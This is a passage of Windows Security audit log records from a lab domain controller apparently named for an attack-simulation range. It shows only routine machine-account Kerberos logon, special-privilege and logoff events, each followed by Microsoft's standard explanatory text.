
Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64032

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248784
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC354D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248783
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC34E7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248782
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC34E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64031

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248781
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC34E7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248780
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3486

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248779
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3486
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64030

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248778
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3486

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248777
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81508

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248801
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3742

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248800
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC3742
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64037

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248799
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC3742

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248798
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC36E1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248797
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC36E1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64036

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248796
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC36E1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248795
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC367B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248794
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC367B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64035

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248793
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC367B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248792
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC361A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248791
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC361A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64034

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248790
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC361A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248813
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4E3E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248812
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC4E3E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64041

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248811
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4E3E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248810
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4DCF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248809
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC4DCF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64040

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248808
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4DCF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248807
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xC4D55

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248806
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xC4D55
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64039

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

